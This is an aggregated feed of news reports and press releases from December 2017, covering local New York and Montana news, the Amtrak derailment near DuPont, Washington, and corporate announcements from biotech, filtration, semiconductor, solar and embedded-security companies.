In addition, JCOPE staff discussed plans to revamp its website. JCOPE counsel Monica Stamm said the agency hopes to have most of the site redone by January, which will make finding information easier. The lobbying-related portion, however, will not be operational for at least another year.

Both of JCOPE's offices in Albany and New York City also may be moving. The lease for the office on Broadway in Albany ends in April, and the agency may move to another downtown location. JCOPE is looking at several locations for its New York City office, including a different office in its current building.
ALBANY  The jury deciding the fate of double-murder defendant Edward "Ted" Mero will return to Albany County Court on Tuesday for its third full day of deliberations.

Judge Peter Lynch sent the panel of seven women and five men home for the day at 4:30 p.m. Only seven minutes earlier, the jury finished re-hearing the entire testimony of two fire investigators who responded to the Jan. 27, 2013 blaze that killed 23-year-old Megan Cunningham in her home at 12 Arcadia Ave.
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ALBANY  A 180-day school year is the law in New York, but may not be for much longer.

State education policymakers are currently weighing a more flexible school year  one that can start earlier than September and be counted in hours, not days, state Education Commissioner MaryEllen Elia told the Times Union on Monday.

Current state law mandates that public schools (with the exception of charter schools) open no sooner than Sept. 1. State education officials will seek relief from that requirement in the upcoming legislative session in an effort to help districts meet their annual instructional requirements, Elia said.

Districts wouldn't have to start earlier than September, she said, but they could if they wanted to.

"One thing superintendents have requested is flexibility on this issue of, 'Can I start earlier? Come on, let us start earlier. Our families, everybody would be OK with it. But under the law we can't,'" she said.

The plan comes at the same time that state education policymakers are considering a proposal that school years be counted in hours rather than days. Both proposals are intended to grant school districts more flexibility in meeting state instructional requirements.

New York, like most states, requires public schools remain open for 180 days a year. A day at the elementary level is counted as at least five hours of instruction. At the middle and high school level, it's five and a half hours of instruction.

This, of course, means half days don't count  something that took some districts by surprise this past spring when the state Education Department issued a memo reminding districts of their minimum instruction requirements.

The memo was only issued after the department's Fraud, Waste and Abuse hotline received a number of reports about districts not complying with the 180-day requirement, despite reporting compliance to the State Aid Office. (Districts that fall short of the yearly requirement are docked a percentage of their annual state aid).

A late-in-the-season Nor'easter that dumped several feet of snow on New York and prompted a statewide snow day didn't help matters either, officials report, since it forced some districts that had already used up their allotted days off to take another snow day.

In response to questions and concerns, the department convened a 180-Day Advisory Committee to come up with possible statutory and regulatory fixes that might help streamline, clarify or modernize the state's school calendar requirements.

Its recommendation was to ax the rule requiring 180 days a year, but leave in the rule mandating a minimum number of instructional hours  900 for elementary schools and 990 for middle and high schools. This would allow districts to count hours accrued on half days, and also schedule in lengthier lunch and recess periods and parent-teacher conferences should they so choose.

In Menands  where district officials recently cut recess down to just 10 minutes in order to fit more instruction into the school day  the change would be welcome, Superintendent Maureen Long said.

"I think, given all of the things that we are obligated to do under the law, anything that would give us more flexibility we would certainly appreciate," she said.

"Scheduling's always tricky," she continued. "You want to maximize each day you have. And then, in the Northeast, you're always at the mercy of the weather. A really harsh winter can blow all that planning out of the water."

Any change to the instructional day or year would require revisiting and possibly changing teacher contracts.

New York State United Teachers spokesman Carl Korn said Monday the union is still waiting to hear back from teacher leaders around the state on the proposed changes, but that they're appreciative the state formed a committee to look at the issue.

Any push to start school earlier, he said, should be decided at the local level and subjected to collective bargaining and community sentiment.
HARPERSFIELD  State and local authorities have launched a large-scale search for a Schoharie County hunter who has been missing for eight days.

Carl Weaver, 77, left his Seward home at about 1 p.m. Sunday, Dec. 10, for a hunting trip and has not been seen since, Capt. Steve Preston, a state Forest Rangers spokesman, said on Monday.

Weaver's neighbor noticed the man's car was still not in his driveway days later and reported him missing at 1:40 p.m. Wednesday, Dec. 13. Hours later, officers found his vehicle parked at the corner of Titus Lake Road and South Worcester Hill Road in Harpersfield, Delaware County, and began searching the surrounding wilderness, Preston said.

More than 200 searchers have scoured more than 1,700 acres of wilderness since Wednesday evening and found no sign of the man, Preston said.

Snowfall on Tuesday and Sunday not only covered Weaver's tracks but also made the steep terrain slippery. Five members of the search party have fallen and sprained their ankles or wrists, Preston said.

Preston described Weaver as an experienced hunter with knowledge of the area.

"He's probably very well prepared," Preston said. The man did not carry a cell phone but likely has suitable outdoor gear.

State Forest Rangers and Schoharie County Sheriff Anthony Desmond have set up a unified command post at the Jefferson Fire Department and are seeking volunteers with experience hiking rugged landscape.

"These folks are going out at 8 a.m. and not getting back until 4 p.m.," Preston said.

Jefferson Fire Chief Bill Bovina said his crew returned from battling a structure fire on Wednesday evening to immediately begin the search. He credited the Salvation Army with keeping more than 200 people fed for six grueling days.

Personnel from the following agencies have already joined the search: the Schoharie and Delaware county sheriffs' offices and emergency management offices; the Schoharie, Delaware, Greene, Albany, Schenectady, Otsego and Fulton county fire departments; State Police; Department of Environmental Conservation police; the Schoharie County search and rescue team; the state Federation of Search and Rescue teams; the state Office of Fire Prevention and Control; and fire departments from Stamford, Jefferson, Hobart, Cobleskill, Summit and Grand Gorge.

In addition to patrolling the area on foot, police are also using helicopters, drones, police dogs and off-road vehicles.

Search efforts will resume at daybreak Tuesday. Anyone with information should call the Schoharie County Sheriff's Office at 607-652-3617.
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ALBANY  An Albany bus driver, who smelled of alcohol, disregarded requests to stay at Montessori Magnet School and drove off with children on the bus, according to Albany school officials.

The bus driver returned to the school after being contacted "within minutes" and later was found to be over the legal limit.

The Albany School District on Monday confirmed the driver of Bus 172, who is employed by First Student to provide transportation for city students, was placed on administrative leave pending termination after the Dec. 15 incident.

A letter was sent to Montessori school families Friday informing them of the incident, and school officials have been working with First Student to resolve the issue in-house, district Superintendent Kaweeda Adams said Monday.

We want to make sure our students are safe when they are traveling to and from school via transportation, Adams said. We are working diligently with First Student to determine the details of this to make sure our students are safe as we work with them to transport our children.

The bus driver, a woman who wasnt identified, arrived for her afternoon shift 30 minutes late Friday, and one Montessori staff member suspected the smell of alcohol. The driver was ordered not to operate the bus while the school district contacted First Student supervisors to investigate the matter, however she ignored the order, according to the letter sent to families.

The driver was ordered back to the school within minutes, and the students were taken off the bus until an alternative driver arrived.

She was directed by the administrator not to leave the property, and she took it upon herself to leave despite being directed not to, Adams said.

When the driver came back, she was tested for alcohol by officials with First Student and found to be over the legal limit for commercial operation of a motor vehicle - 0.04 percent.

Police were not contacted.

Its unclear how long the individual has been employed by First Student.

While the school district does have the authority to pull a driver off a bus if students safety is of concern, there were no visible signs of intoxication, Adams said.

We wanted to make sure that the supervisors were called and we followed their protocol, she said.
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DuPont, Wash.

An Amtrak train making the first-ever run along a faster new route hurtled off an overpass south of Seattle at an estimated 80 mph Monday and spilled some of its cars onto the highway below, killing at least three people and crushing two vehicles, authorities said.

Seventy-seven passengers and seven crew members were aboard when the train derailed and pulled 13 cars off the tracks. At least 50 people were hospitalized, more than a dozen with critical or serious injuries, authorities said. No one on the highway was killed.

A website that maps location and speed using data from Amtrak's train tracker app shows the train was going 81.1 mph about one-quarter mile from the point where it derailed, where the speed limit is significantly lower.

A track chart prepared by the Washington State Department of Transportation shows the maximum speed drops from 79 mph to 30 mph for passenger trains just before the tracks curve to cross Interstate 5, which is where the train went off the tracks.

The chart, dated Feb. 7, 2017, was submitted to the Federal Railroad Administration in anticipation of the start of passenger service along a new bypass route that shaves 10 minutes off the trip between Seattle and Portland.

It wasn't clear how fast the train was moving when it derailed.

In a radio transmission immediately after the accident, the conductor can be heard saying the train was coming around a corner and was crossing a bridge that passed over Interstate 5 when it derailed. Dispatch audio also indicated that the engineer survived with bleeding from the head and both eyes swollen shut.

"I'm still figuring that out. We've got cars everywhere and down onto the highway," he tells the dispatcher, who asks if everyone is OK.

Aleksander Kristiansen, 24, an exchange student at the University of Washington from Copenhagen, was going to Portland to visit the city for the day.

"I was just coming out of the bathroom when the accident happened. My car just started shaking really, really badly. Things were falling off the shelf. Right away, you knew that this was not something minor," he said.

The back of his train car was wide open because it had separated from the rest of the train, so he and others were able to jump out to safety. He was at about the middle of the train, either the sixth or seventh car, he said, and was "one of the lucky ones."

Daniella Fenelon, a 19-year-old from Southern California, was on the train taking a cross-country trip as part of her winter break. She said she was asleep when the accident happened.

"Suddenly there was just a jolt, and I didn't know what was happening," Fenelon said. She slammed into the seat area in front of her, and the windows exploded, said Fenelon, who was treated and released from a hospital with a possible concussion.

Dr. Nathan Selden, a neurosurgeon at the Oregon Health & Science University in Portland, said he and his son drove through the accident scene while traveling north to visit Seattle. The doctor asked if he could help and was ushered to a medical triage tent in the highway median.

The most seriously injured had already been whisked away, but the patients he helped appeared to have open head wounds and skull, pelvic or leg fractures, as well as small cuts and neck sprains, he said.

While the cause of the crash will take months to establish, even people who tried to stop the new route on safety grounds said the derailment surprised them.

Opponents said the route would expose car and pedestrian traffic to higher-speed passenger trains at more than a half-dozen street-level crossings in the small city of Lakewood just north of the crash site.

"These are new, upgraded tracks  that's what is so surprising about this," said John Niles with the Coalition for Effective Transportation Alternatives, which joined local elected officials in opposing the project. "They weren't worried about a train derailing."

Lakewood officials unsuccessfully sued in 2013 to stop the Point Defiance Bypass project, which redirected passenger trains from a curvy route along Puget Sound that competes with freight traffic and squeezes through single-track tunnels where only one train can go through at a time.

The city asserted that the state transportation department's environmental review of the new route was inadequate and failed to consider traffic, neighborhood and other impacts. In March 2014, a judge dismissed the lawsuit.

The track is owned by Sound Transit, the public transit system for the Seattle area, which oversaw the upgrades and did extensive testing prior to Monday's public opening.
Authorities say two people were injured by a man with a knife at Cruse Park in downtown Helena Monday afternoon.

Rainbow Cloud Peters, 25, of Helena, was arrested and booked into the county jail for allegedly resisting arrest, obstructing a police officer, assault with a weapon and attempted homicide.

Officers were dispatched at 2:17 p.m. to an altercation between a male and a female at 551 Last Chance Gulch, near the intersection of Last Chance Gulch and Cruse Avenue. A short time later, another call was made as the male and female began fighting. The situation escalated when Peters allegedly pulled a knife.

Officers saw Peters going toward a woman and a man with the knife. With the help of a citizen, Peters was subdued and detained. The male and female victims were taken to St. Peter's Hospital with stab wounds. Their conditions are currently unknown.

Peters was convicted in 2015 of criminal endangerment in Cascade County. He was sentenced to 24 months in the Montana Department of Corrections.
As heroin and other drugs continue to claim the lives of its users, police are increasingly filing criminal charges against the people they accuse of providing the drug.
[December 18, 2017] BIOTECanada Welcomes Federal Government's $400 Million Commitment to Venture Capital Catalyst Initiative

BIOTECanada welcomes today's announcement by the federal government to commit $400 million to the federal Venture Capital Catalyst Initiative (VCCI). The VCCI's predecessor, the Venture Capital Action Plan (VCAP), was a very successful initiative which attracted over $900 million in matching private sector funding, some of which made its way into Canada's biotechnology sector. It is expected that today's investment will deliver similar results. "Canada is home to a vibrant biotech ecosystem with strong clusters in every province. As a result, fantastic Canadian biotechnology innovations are emerging which will help to address many of the challenges associated with global population growth, eonomic growth and a changing climate. But developing these innovations is very risky and takes significant amounts of time and capital. Accordingly, access to specialized investment capital is absolutely key to successfully developing these innovations. In this context, today's announcement will greatly enhance Canada's ability to attract investment capital and support the growth of Canadian biotech companies across the country," said Andrew Casey, President & CEO BIOTECanada.



BIOTECanada is the national industry association with more than 200 members located nationwide, reflecting the diverse nature of Canada's health, industrial and agricultural biotechnology sectors. In addition to providing significant health benefits for Canadians, the biotechnology industry has quickly become an essential part of the transformation of many traditional cornerstones of the Canadian economy including manufacturing, automotive, energy, aerospace and forestry industries.

View source version on businesswire.com: http://www.businesswire.com/news/home/20171218006197/en/

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[December 18, 2017] Parker Reaches Proposed Settlement with DOJ Regarding U.S. Qualified Aviation Ground Fuel Filtration Business

CLEVELAND, Dec. 18, 2017 (GLOBE NEWSWIRE) -- Parker Hannifin Corporation (NYSE: PH), the global leader in motion and control technologies, today announced that a Proposed Final Judgment has been filed by the U.S. Department of Justice (DOJ) in the U.S. District Court for the District of Delaware. The Proposed Final Judgment seeks approval of a settlement resolving the matters described in the complaint filed by DOJ on September 26, 2017 regarding Parkers U.S. qualified aviation ground fuel filtration business. Under the terms of the Proposed Final Judgment, and subject to court approval, Parker will divest its global Facet filtration business. The Facet filtration business includes the U.S. qualified aviation ground fuel filtration business under inquiry by DOJ, plus filtration products and technologies for other aviation fuel, marine, environmental and general applications. Parker will retain the rest of the CLARCOR businesses and ts aviation ground fuel filtration business owned prior to the CLARCOR merger and marketed under the Parker Velcon brand name.



Parker issued the following statement:

We are pleased to reach this proposed settlement with the Department of Justice. Through this agreement, Parker will sell the Facet filtration business, providing an opportunity for a wide range of strategic buyers to enter this sought after business. Parker anticipates court approval of the Proposed Final Judgment and looks forward to ultimately resolving this matter. We continue with the successful integration of the broader filtration businesses acquired in the CLARCOR merger. Parker closed its acquisition of CLARCOR Inc. for approximately $4.3 billion on February 28, 2017. Estimated annual revenues for the CLARCOR business are approximately $1.5 billion, of which the Facet filtration business accounts for approximately $60 million.

About Parker Hannifin

Parker Hannifin is a Fortune 250 global leader in motion and control technologies. For 100 years the company has engineered the success of its customers in a wide range of diversified industrial and aerospace markets. Parker has increased its annual dividend per share paid to shareholders for 61 consecutive fiscal years, among the top five longest-running dividend-increase records in the S&P 500 index. Learn more at www.parker.com or @parkerhannifin. ### Contact: Media  Aidan Gormley, Director, Global Communications and Branding 216/896-3258 [email protected] Financial Analysts  Robin J. Davenport, Vice President, Corporate Finance 216/896-2265 [email protected]

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[December 18, 2017] Largest SEMICON China Ever Targets Industry Growth

SHANGHAI, Dec. 18, 2017 /CNW/ -- More than 70,000 players in the electronics manufacturing industry are expected to descend upon SEMICON China for technology and innovation insights to accelerate already strong industry growth. March 14-16, 2018, at the Shanghai New International Expo Centre (SNIEC), SEMICON China 2018 will bring together top executives and technologists in six exhibition halls, the most ever in the event's 30-year history, to find opportunities in key focus areas including Smart Automotive and Smart Manufacturing, Green Tech, Advanced Technology, and Power and Compound Semiconductors. Concurrent with FPD China, SEMICON China 2018, the largest and most influential gathering of the semiconductor supply chain in China, is now open for visitor registration. SEMICON China technical forums will address the most pressing industry topics: CSTIC 2018: Staged in conjunction with SEMICON China, this has ranked among the largest and most comprehensive annual semiconductor technology conferences in China since 2000. March 11-12, 2018 , CSTIC 2018 will feature nine symposiums covering all aspects of semiconductor technology, with a focus on manufacturing and advanced technology.

Staged in conjunction with SEMICON China, this has ranked among the largest and most comprehensive annual semiconductor technology conferences in since 2000. , CSTIC 2018 will feature nine symposiums covering all aspects of semiconductor technology, with a focus on manufacturing and advanced technology. SIIP: Tech Innovation and Investment Forum: SIIP is a key international platform for semiconductor industry investment in China . Informed by China's IC policy to fund key semiconductor sectors, leaders of China's National IC Fund and municipal IC funds will join leaders from global investment institutions to discuss hot opportunities in China/span> semiconductor investment  and applications such as Artificial Intelligence (AI).

SIIP is a key international platform for semiconductor industry investment in . Informed by IC policy to fund key semiconductor sectors, leaders of National IC Fund and municipal IC funds will join leaders from global investment institutions to discuss hot opportunities in Win-Win: Build China's IC Ecosystem: Spurred by a strong market outlook, policy and the national fund, fab construction in China will surge over the next five years, with OSAT (Outsourced Semiconductor Assembly and Test) making strategic investments. Industry leaders will explore how China's semiconductor manufacturing industry will strengthen its core competency, prioritize resources, revisit its business model, and thrive in the electronics ecosystem.

Spurred by a strong market outlook, policy and the national fund, fab construction in will surge over the next five years, with OSAT (Outsourced Semiconductor Assembly and Test) making strategic investments. Industry leaders will explore how semiconductor manufacturing industry will strengthen its core competency, prioritize resources, revisit its business model, and thrive in the electronics ecosystem. Power and Compound Semiconductor International Forum: Among the largest power and compound semiconductor industry forums in Asia , this two-day event features four sessions: Wide Band Gap Power Electronics, Optoelectronics, Compound Semiconductor in Communications, and Emerging Power Device Technology

Among the largest power and compound semiconductor industry forums in , this two-day event features four sessions: Wide Band Gap Power Electronics, Optoelectronics, Compound Semiconductor in Communications, and Emerging Power Device Technology Smart Automotive Forum  AI Inside: Top automotive, electronic, AI and technology executives will gather to discuss the future of the rapidly disrupting automotive industry.

Top automotive, electronic, AI and technology executives will gather to discuss the future of the rapidly disrupting automotive industry. China Memory Strategic Forum: Driven by market needs and policy support, three new Chinese Memory foundries are accelerating memory development. Industry leaders will explore ways multinationals can benefit more from China's memory market, China can better leverage its technical strength, and Chinese companies can enhance research and development collaboration with global partners.

Driven by market needs and policy support, three new Chinese Memory foundries are accelerating memory development. Industry leaders will explore ways multinationals can benefit more from memory market, can better leverage its technical strength, and Chinese companies can enhance research and development collaboration with global partners. Green High-Tech Facility Forum: With more than 10 fabs now under construction in China , China's semiconductor industry is entering a stage of rapid growth. Green Tech leaders will discuss how China can improve factory design and construction; optimize energy efficiency of semiconductor manufacturing equipment; enhance machine platform stability, chemicals and gas management, and wastewater treatment; and improve risk management.

With more than 10 fabs now under construction in , semiconductor industry is entering a stage of rapid growth. Green Tech leaders will discuss how can improve factory design and construction; optimize energy efficiency of semiconductor manufacturing equipment; enhance machine platform stability, chemicals and gas management, and wastewater treatment; and improve risk management. Smart Manufacturing Forum: The semiconductor industry must be proactive in all aspects of smart manufacturing. This session will address automation, product tractability, cost and cycle time reduction, enhancements in productivity and yield, and efficiency improvements in front- and back-end factories.

The semiconductor industry must be proactive in all aspects of smart manufacturing. This session will address automation, product tractability, cost and cycle time reduction, enhancements in productivity and yield, and efficiency improvements in front- and back-end factories. Semiconductor New Technology Conference: The best way to promote new technology is through direct customer interaction and collaboration. Join this conference to discuss your new IC, new IOT solution, new machine or new material with more 200 customers from around the world.

The best way to promote new technology is through direct customer interaction and collaboration. Join this conference to discuss your new IC, new IOT solution, new machine or new material with more 200 customers from around the world. 2018 China Display Conference-Emerging Display Forum: Join this forum, concurrent with FPD China 2018, to exchange ideas on emerging display technologies and future development.

Join this forum, concurrent with FPD China 2018, to exchange ideas on emerging display technologies and future development. MSIG International IOT Conference 2018: MEMS, sensors, IC, NB-IoT, 5G and smart application experts will share their insights on the IoT market and how to maximize the value of IoT applications.



three theme pavilions: IC Manufacturing : See products, technologies, and manufacturing solutions focused on serving China's fabless IC community, from design to final manufacturing.

: See products, technologies, and manufacturing solutions focused on serving fabless IC community, from design to final manufacturing. LED and Sapphire : Learn how China has become the world's largest sapphire manufacturing center.

: Learn how has become the world's largest sapphire manufacturing center. ICMTIA: See the local IC material industry demonstrate its capabilities to support semiconductor industry growth. For more information on sessions and events at SEMICON and FPD China 2018, please visit www.semiconchina.org/.

Register now for SEMICON China 2018 at www.semiconchina.org/en/28. About SEMI SEMI connects over 2,000 member companies and 1.3 million professionals worldwide to advance the technology and business of electronics manufacturing. SEMI members are responsible for the innovations in materials, design, equipment, software, devices, and services that enable smarter, faster, more powerful, and more affordable electronic products. FlexTech and the MEMS & Sensors Industry Group (MSIG) are SEMI Strategic Association Partners, defined communities within SEMI focused on specific technologies. Since 1970, SEMI has built connections that have helped its members prosper, create new markets, and address common industry challenges together. SEMI maintains offices in Bangalore, Berlin, Brussels, Grenoble, Hsinchu, Seoul, Shanghai, Silicon Valley (Milpitas, Calif.), Singapore, Tokyo, and Washington, D.C. For more information, visit www.semi.org and follow SEMI on LinkedIn and Twitter. View original content with multimedia:http://www.prnewswire.com/news-releases/largest-semicon-china-ever-targets-industry-growth-300572142.html SOURCE SEMI

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Helenas city commission unanimously voted to join in a legal battle against I-183, the proposed ballot initiative requiring all government entities in Montana to designate restrooms for use by one biological sex.

Monday's vote was 5-0 in favor of joining the League of Cities and Towns as intervenors in the ACLU of Montanas lawsuit against the proposed initiative. The suit argues that the initiative is unconstitutional and asks the court to prevent the secretary of state from placing it on the November 2018 ballot.

City attorney Thomas Jodoin explained that the city will not be a plaintiff like Bozeman and Missoula, but will be joining the League of Cities and Towns to provide other arguments against the state.

The state of Montana has filed a motion to dismiss the ACLUs lawsuit. Alex Rate, the legal director for the ACLU of Montana and attorney of record, said the ACLU is currently writing a brief against the states argument.

While the ACLU is arguing the ballot initiative targets people who are transgender and would not allow people to use the bathroom corresponding to their gender identity, the city of Helena and League of Cities and Towns are discussing arguments about city sovereignty.

These are complementary angles to the ACLU, Jodoin said.

Well be partners, putting brainpower together to get clarity on this laws ramifications, he added.

The commissions unanimous vote was preceded by some concerns voiced by Commissioner Haladay, who noted that some Helena residents have been named as plaintiffs in the lawsuit. He worried that the commission would fail to show support for those citizens by not joining as plaintiffs as well.

Jodoin responded that there was no intent to leave out transgendered individuals and citizens of Helena.

Commissioner Ed Noonan reiterated that worry, saying that he had spent a lot of time considering the facts and came to the conclusion that this is about individuals.

Well be standing up for the rights of the people of Helena, Jodoin said.

The ballot initiative was proposed by the Montana Family Foundation, a conservative advocacy group based in Laurel. A similar measure the foundation supported was rejected by the Montana Legislature this year.

Jeff Laszloffy, President of the Montana Family Foundation, released a statement after the ACLU filed the suit.

High school girls shouldnt be forced to shower in front of a boy, even if he does think hes a girl. Boys shouldnt have to change clothes in front of a girl, even if she thinks shes a boy. Its just common sense. Its tragic that the ACLU wants to disenfranchise thousands of Montana voters, he said.
[December 18, 2017] Autodata International Co. Ltd, Specialized in Offering A.I. Converged Monitoring Solutions

SEOUL, South Korea and DUBAI, United Arab Emirates, Dec. 19, 2017 /PRNewswire/ -- Autodata International Co. Ltd has set its business goal to become the no.1 company in the field of public infrastructure and combined solutions of A.I. computerized camera systems. With their core patents of 'Elevating Artpole' and 'Monorail Moving Monitoring System', the company has been highly evaluated for their achievements in innovative design, safety and convenience in performance. They have earned ISO9001, built a smart factory, and been selected as the Promising Small Giants of Pohang City. Introduction of Main Products; Innovative Artpole & Robo-m The company was founded in 2003, and with a rich base of experience in industrial environments, it has developed core products including the innovative CCTVs, the world's first Elevating Artpole, which is a convergence of cutting-edge technologies, and the remote controlled monitoring system that is based on the technology of monorail moving monitoring system. On the basis of the possessed technologies, wewish to pioneer in the fields of outdoor CCTVs used for public infrastructure, and the scientification of national defense by developing technologies for unmanned monitoring and military checkpoints.



The Elevating Artpole is installed on pillars more than 10 meters high, together with other monitoring and communication devices, and used to monitor and manage vast areas such as roads, beaches, national borders and traffic flows. It is also a safe and convenient product since it can be lowered to the ground for installation and maintenance. The Robo-m is a monorail moving monitoring device for the prevention of accidents and fires. It is an all-in-one product consisting of a thermographic camera, video camera, gas/odor detector, abnormal sound detector and fire extinguisher. The device automatically moves along the pre-installed monorails and monitors the real-time status. This product can be applied in a smelting furnace, warehouse, unmanned substation, underground facilities, etc.

Meet us at INTERSEC 2018 DUBAI! At the INTERSEC 2018 DUBAI (Jan 21-23, Booth K1, Hall 1), Autodata International Co. Ltd and ISON Co. Ltd will be presenting the Elevating Artpole, the remote monitoring system, and the mobile iron railings remote monitoring system, combined with A.I. technologies that can utilize a monitoring camera device, hitting equipment, and a monitoring drone device. Autodata International Co., Ltd.

280, Gwangpyeong-ro, Gangnam-gu, Seoul, Rep. of Korea

Yeonsu Jang

Sales Director

+82-2-3412-2589

[email protected]

www.autodata.co.kr, www.ison.world Video - https://www.youtube.com/watch?v=N4F60bX_mDk

Video - https://www.youtube.com/watch?v=zv1P4ypnB5s

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[December 18, 2017] PhyMed Healthcare Group Expands Leadership Team to Accelerate Company Growth

PhyMed Healthcare Group, a physician-led and owned leader of anesthesia and pain management services, has added two new members to its leadership team in realization of recent and expected growth of the company. Stephen Lorenz is executive vice president, focused on operations and strategic development. Stephen Mason is vice president of operations, focused on leading operations in multiple markets throughout the U.S. Lorenz has more than 25 years of healthcare leadership experience with hospitals and multi-hospital systems in the assessment of practice cost, performance, organization and revenue cycle management. He also has extensive experience leading and creating models for new business development in markets across the U.S. Previously, Lorenz had been executive vice president at HNI Healthcare, Inc. in Austin, Texas, and president and CEO of Hospital Resources Management in Dalas.



Mason has been involved in anesthesia and multi-specialty practice management for more than 25 years, leading the growth and mergers of several large practices. His experience includes revenue cycle management, payer auditing, healthcare data analytics, hospital and practice administration, healthcare consulting, physician contracting and hospital professional services contracting. Most recently, he was senior vice president for the audit division at Managed Care Advisory Group in Toledo, Ohio. "Adding these two experienced professionals will support us in achieving our aggressive growth strategy," said Marty Bonick, president and chief executive officer of PhyMed Healthcare Group. "Steve Lorenz brings a strong history of building and managing growth plus experience in hospital-based physician service lines. Steve Mason has an outstanding track record in practice administration, contracting and physician relations. They will play key roles in helping us achieve our goals for growth, clinical excellence and efficiency."

To learn more about PhyMed Healthcare Group, visit www.PhyMed.com. About PhyMed Healthcare Group Based in Nashville, PhyMed Healthcare Group is a physician-led and owned leader of anesthesia and pain management services, and is committed to providing focused, proactive and innovative business solutions that foster high-quality, care-centered results. PhyMed Healthcare Group is a trusted partner proudly serving healthcare systems, ambulatory surgery centers and office-based anesthesia in multiple states. PhyMed consists of more than 650 clinicians. View source version on businesswire.com: http://www.businesswire.com/news/home/20171218006222/en/

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[December 18, 2017] Boosting Japan Energy Upgrade: Unisun Obtains Another Loan from Local Bank

CHIBA, Japan, Dec. 19, 2017 /PRNewswire/ -- Unisun Energy Group announced that the 500KW photovoltaic project in Chiba Prefecture, Japan, to be constructed by its branch Unisun Japan, has obtained a non-recourse project finance with low-interest from the Hyakujushi Bank, Ltd., Japan. It is reported to be the third PV project of Unisun Japan that has successfully received financial support from local banks. The renewable energy projects developed by Unisun in Japan have played a significant role in promoting the energy upgrade in the country. In virtue of its world leading PV technologies and talents originating from Germany, high-level energy solutions, expertise in project development and construction, and social responsibility demonstrated during social energy transformation, Unisun won the active responses from the Japanese government and local financial institutions. According to a report recently issued by the Institute for Energy Economics and Financial Analysis (IEEFA), as of 2030, the proportion of solar photovoltaic generation to the total power generation in Japan is expected to rise to 12%. The power system in the northern cities of Japan is transforming from old grids to autonomy and localization, with approximately 40,00 cities opting to build microgrids and centralized renewable energy generation plants to achieve self-sufficiency.



As the largest distributed generation (DG) PV investor in China, Unisun Energy actively explores new markets overseas while reinforcing its business in China. Early 2013, Unisun set up a branch in Tokyo to formally enter Japan's renewable energy market. After several years of market development and team building, it now has owned independent development right over projects with more than 80MW capacity in Japan and has acquired the qualification for local engineering, procurement, and construction (EPC). This March, Unisun Japan's EPC project  15MW PV project in Okajima, Fukushima, was successfully connected to grid. Up to date, Unisun Japan possesses three PV power plants that are owned and operated by itself. Unisun Japan first obtained a large long-term loan from Mitsubishi Electric Credit Corporation (MECC) for its 1MW PV power station in. Soon following the momentum, 2MW PV power station in Tochigi Prefecture passed the loan approval from the Sumitomo Mitsui Banking Corporation in a short time, attaining financial support of totally JPY 500 million (about RMB 30 million).

The Sumitomo Mitsui Banking Corporation was formed by the merger of Sumitomo Bank, a central component of the Sumitomo Group and Sakura Bank of Mitsui Group, with total assets of JPY 160 trillion. It is Japan's third largest commercial bank, and listed the Top 10 commercial banks in the world. The Hyakujushi Bank, Ltd., which provides a large loan with low-interest of JPY 160 million for Unisun Japan's 500KW project in Chiba, is a century-old local bank established in 1878. Peng Hao, CEO of Unisun Energy Group, said in the interview that the financial support by Japan's financial institutions is a high recognition of the company's innovative business model and professional service quality, which also produces a firm force for its continuous layout in the global market in the future. Hao also revealed in the interview that, in addition to its existing business concerning solar energy development, construction and O&M, Unisun Japan will engage in other renewable energy fields such as biomass power generation and small household wind power generation. In the future, Unisun Energy will reach to more areas, aspiring to propel the green energy revolution from all aspects. SOURCE Unisun

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[December 18, 2017] Embedded Safety & Security Summit 2018 Announced With Focus on Automotive Sector

BENGALURU, December 19, 2017 /PRNewswire/ -- - The 4th edition of Embedded Safety & Security Summit is announced today, making a significant focus on the safety and security of the embedded automotive system - With the theme of 'Enabling Dependable Automotive Systems', the attendees will be learning about technology challenges and growth from industry experts and decision makers LDRA Technology Pvt. Ltd (a subsidiary of LDRA Ltd. UK), the leader in standards compliance, automated software verification, source code analysis and test tools, today announced the fourth edition of Embedded Safety & Security Summit. LDRA drives this successful initiative with support from their partners, clients, industry and professional bodies and government agencies. (Logo: http://mma.prnewswire.com/media/620669/ESSS_2018_Logo.jpg )

Embedded Safety & Security Summit, the original event that addresses various safety and security-critical industry verticals, is going to focus only on the automotive sector this year. The summit will be held at the two automotive hubs in India - Chennai on 7 August 2018 and Pune on 9 August 2018. With the theme 'Enabling Dependable Automotive Systems', the technical session and workshop tracks delivered by domestic and international speakers at the summit will focus on how to mitigate risk and follow best practices to create safe and secure futuristic mobiliy solutions.



Ian Hennell, Operations Director at LDRA, said, "When it comes to embedded systems safety & security, ESSS has become the trendsetter in this part of the world. Automotive being the action place in the current embedded area, the fourth edition of the summit focuses exclusively on this sector. Our team in India contributes substantially to drive our global automotive and security practices. I'm sure with all our expertise put together, ESSS 2018 - Automotive Edition will be a great success." ESSS 2018 - Automotive Edition will include multiple opportunities to meet fellow developers, customers, partners, decision makers and industry experts in a variety of undertaking: technical sessions, technical workshops and networking breaks have been designed to make the most of the gathering in person.

"The summit was originally developed four years ago as part of a larger industry ecosystem development program that would enable world-class embedded products with safety & security certifications out of India. Our focus on capability building and innovations helped us to become the leading player in semiconductor, automotive and security segments, along with our traditional stronghold in aerospace, defence, nuclear etc. In 2018, the LDRA India team is trying to innovate our efforts concerning ESSS, hosting the summit in the automotive hubs of India is one such effort," said Shinto Joseph, Director - South East Asia Operations, LDRA India. To register or learn more about ESSS 2018 - Automotive Edition, visit our website http://www.embedded-safety-security.com, follow us on Twitter at @ESSS or like us on Facebook page at facebook.com/ESSSUMMIT . For any other queries, please drop a mail to [email protected]. About LDRA For more than 40 years, LDRA has developed and driven the market for software that automates code analysis and software testing for safety-, mission-, security-, and business-critical markets. Working with clients to achieve early error identification and full compliance with industry standards, LDRA traces requirements through static and dynamic analysis to unit testing and verification for a wide variety of hardware and software platforms. Boasting a worldwide presence, LDRA is headquartered in the United Kingdom with subsidiaries in the United States and India coupled with an extensive distributor network. For more information on the LDRA tool suite, please visit http://www.ldra.com. Contact Details:

Neeraja Nair

Marketing Communications Executive

LDRA Technology Pvt. Ltd

Bangalore-560017

(c): +91-80-4080-8707

(e): [email protected]

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[December 19, 2017] WISeKey Cybersecurity Continues its Rapid Expansion with the Integration of QuoVadis Managed Cybersecurity Services and Technologies into its Vertical Platform

